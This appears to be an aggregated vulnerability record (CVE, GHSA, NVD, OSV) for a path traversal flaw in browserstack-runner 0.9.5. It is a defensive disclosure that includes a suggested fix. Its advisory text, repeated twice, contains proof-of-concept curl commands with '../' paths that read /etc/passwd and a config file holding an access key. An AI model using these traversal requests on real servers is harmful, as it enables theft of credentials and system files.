{"id":"CVE-2026-49144","aliases":["EUVD-2026-34031","GHSA-8rpw-6cqh-2v9h"],"status":"published","title":"BrowserStack Runner 0.9.5 Path Traversal via _default HTTP Handler","description":"BrowserStack Runner through 0.9.5 contains a path traversal vulnerability in the _default HTTP handler in lib/server.js that allows unauthenticated network-adjacent attackers to read arbitrary files. Attackers can exploit the unauthenticated HTTP server bound on all interfaces to traverse outside the project root and access sensitive files.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00418,"percentile":0.36607,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2026-06-02T20:34:54Z","modified":"2026-11-08T14:04:51Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"browserstack-runner","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.9.5"}]}]},{"source":"osv","ecosystem":"npm","package":"browserstack-runner","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.9.5"}]}]}],"products":[{"vendor":"browserstack","product":"browserstack-runner"}],"references":[{"url":"https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-8rpw-6cqh-2v9h","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/browserstack-runner-path-traversal-via-default-http-handler","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49144","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8rpw-6cqh-2v9h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49144.json","tags":["advisory"]},{"url":"https://github.com/browserstack/browserstack-runner","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-49144","title":"BrowserStack Runner 0.9.5 Path Traversal via _default HTTP Handler","description":"BrowserStack Runner through 0.9.5 contains a path traversal vulnerability in the _default HTTP handler in lib/server.js that allows unauthenticated network-adjacent attackers to read arbitrary files. Attackers can exploit the unauthenticated HTTP server bound on all interfaces to traverse outside the project root and access sensitive files.","status":"published","published":"2026-06-02T20:34:54.748Z","modified":"2026-11-08T14:04:51.519Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-08T15:43:33.322657Z"}],"euvd":[{"id":"EUVD-2026-34031","description":"BrowserStack Runner through 0.9.5 contains a path traversal vulnerability in the _default HTTP handler in lib/server.js that allows unauthenticated network-adjacent attackers to read arbitrary files. Attackers can exploit the unauthenticated HTTP server bound on all interfaces to traverse outside the project root and access sensitive files.","status":"published","published":"2026-06-02T20:34:54Z","modified":"2026-11-08T14:04:51Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-08T15:13:08.252361Z"}],"ghsa":[{"id":"GHSA-8rpw-6cqh-2v9h","title":"browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server","description":"## Summary\n\nThe HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.\n\n## Root Cause\n\n**lib/server.js, lines 530–534 : `_default` handler:**\n\n```javascript\n'_default': function defaultHandler(uri, body, request, response) {\n    var filePath = path.join(process.cwd(), uri);\n    handleFile(filePath, request, response);\n}\n```\n\n`uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.\n\n**bin/cli.js, line 131 : server binding:**\n\n```javascript\nserver.listen(parseInt(config.test_server_port, 10));\n```\n\nNo hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces).\n\n**No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check.\n\n## Steps to Reproduce\n\n### Step 1 : Start the server (Terminal 1)\n\n```bash\ncd browserstack-runner\necho '\u003chtml\u003e\u003cbody\u003etest\u003c/body\u003e\u003c/html\u003e' \u003e _poc_test.html\necho '{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"_poc_test.html\",\"test_framework\":\"qunit\",\"browsers\":[]}' \u003e browserstack.json\nnode bin/runner.js\n```\n\n### Step 2 : Read arbitrary files (Terminal 2)\n\n**Read /etc/hostname:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/hostname\"\n```\n\n**Read /etc/passwd:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/passwd\"\n```\n\n**Read the BrowserStack access key from config:**\n```bash\ncurl -s \"http://127.0.0.1:8888/browserstack.json\"\n```\n\n\u003e **Note:** `--path-as-is` is required because curl normalizes `../` sequences\n\u003e by default. Browsers and HTTP libraries that do not normalize URL paths\n\u003e (or that allow raw path construction) can exploit this without special flags.\n\n### Expected Result\n\n- `/etc/hostname` → server returns the machine hostname\n- `/etc/passwd` → server returns the full passwd file\n- `browserstack.json` → server returns the config including the BrowserStack access key\n\n## Impact\n\n- **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext\n- **Source code theft** : all project files are readable\n- **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc.\n- **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker\n\n## Suggested Fix\n\n1. Validate the resolved path stays within the project root:\n```javascript\nvar filePath = path.resolve(process.cwd(), '.' + uri);\nif (!filePath.startsWith(process.cwd() + path.sep)) {\n    sendError(response, 'Forbidden', 403);\n    return;\n}\n```\n2. Bind on `127.0.0.1`\n3. Add authentication to the `_default` handler","status":"published","published":"2026-06-03T21:38:40Z","modified":"2026-06-03T21:38:43Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:16.698699Z"}],"nvd":[{"id":"CVE-2026-49144","description":"BrowserStack Runner through 0.9.5 contains a path traversal vulnerability in the _default HTTP handler in lib/server.js that allows unauthenticated network-adjacent attackers to read arbitrary files. Attackers can exploit the unauthenticated HTTP server bound on all interfaces to traverse outside the project root and access sensitive files.","status":"published","published":"2026-06-02T21:16:28.23Z","modified":"2026-10-08T16:17:18.863Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:22.022466Z"}],"osv":[{"id":"CVE-2026-49144","title":"BrowserStack Runner 0.9.5 Path Traversal via _default HTTP Handler","description":"BrowserStack Runner through 0.9.5 contains a path traversal vulnerability in the _default HTTP handler in lib/server.js that allows unauthenticated network-adjacent attackers to read arbitrary files. Attackers can exploit the unauthenticated HTTP server bound on all interfaces to traverse outside the project root and access sensitive files.","status":"published","published":"2026-06-02T20:34:54.748Z","modified":"2026-11-09T02:30:39.419784289Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-8rpw-6cqh-2v9h","title":"browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server","description":"## Summary\n\nThe HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.\n\n## Root Cause\n\n**lib/server.js, lines 530–534 : `_default` handler:**\n\n```javascript\n'_default': function defaultHandler(uri, body, request, response) {\n    var filePath = path.join(process.cwd(), uri);\n    handleFile(filePath, request, response);\n}\n```\n\n`uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.\n\n**bin/cli.js, line 131 : server binding:**\n\n```javascript\nserver.listen(parseInt(config.test_server_port, 10));\n```\n\nNo hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces).\n\n**No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check.\n\n## Steps to Reproduce\n\n### Step 1 : Start the server (Terminal 1)\n\n```bash\ncd browserstack-runner\necho '\u003chtml\u003e\u003cbody\u003etest\u003c/body\u003e\u003c/html\u003e' \u003e _poc_test.html\necho '{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"_poc_test.html\",\"test_framework\":\"qunit\",\"browsers\":[]}' \u003e browserstack.json\nnode bin/runner.js\n```\n\n### Step 2 : Read arbitrary files (Terminal 2)\n\n**Read /etc/hostname:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/hostname\"\n```\n\n**Read /etc/passwd:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/passwd\"\n```\n\n**Read the BrowserStack access key from config:**\n```bash\ncurl -s \"http://127.0.0.1:8888/browserstack.json\"\n```\n\n\u003e **Note:** `--path-as-is` is required because curl normalizes `../` sequences\n\u003e by default. Browsers and HTTP libraries that do not normalize URL paths\n\u003e (or that allow raw path construction) can exploit this without special flags.\n\n### Expected Result\n\n- `/etc/hostname` → server returns the machine hostname\n- `/etc/passwd` → server returns the full passwd file\n- `browserstack.json` → server returns the config including the BrowserStack access key\n\n## Impact\n\n- **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext\n- **Source code theft** : all project files are readable\n- **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc.\n- **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker\n\n## Suggested Fix\n\n1. Validate the resolved path stays within the project root:\n```javascript\nvar filePath = path.resolve(process.cwd(), '.' + uri);\nif (!filePath.startsWith(process.cwd() + path.sep)) {\n    sendError(response, 'Forbidden', 403);\n    return;\n}\n```\n2. Bind on `127.0.0.1`\n3. Add authentication to the `_default` handler","status":"published","published":"2026-06-03T21:38:40Z","modified":"2026-06-03T21:56:25.460243Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"},{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:42.78452Z"}]}}
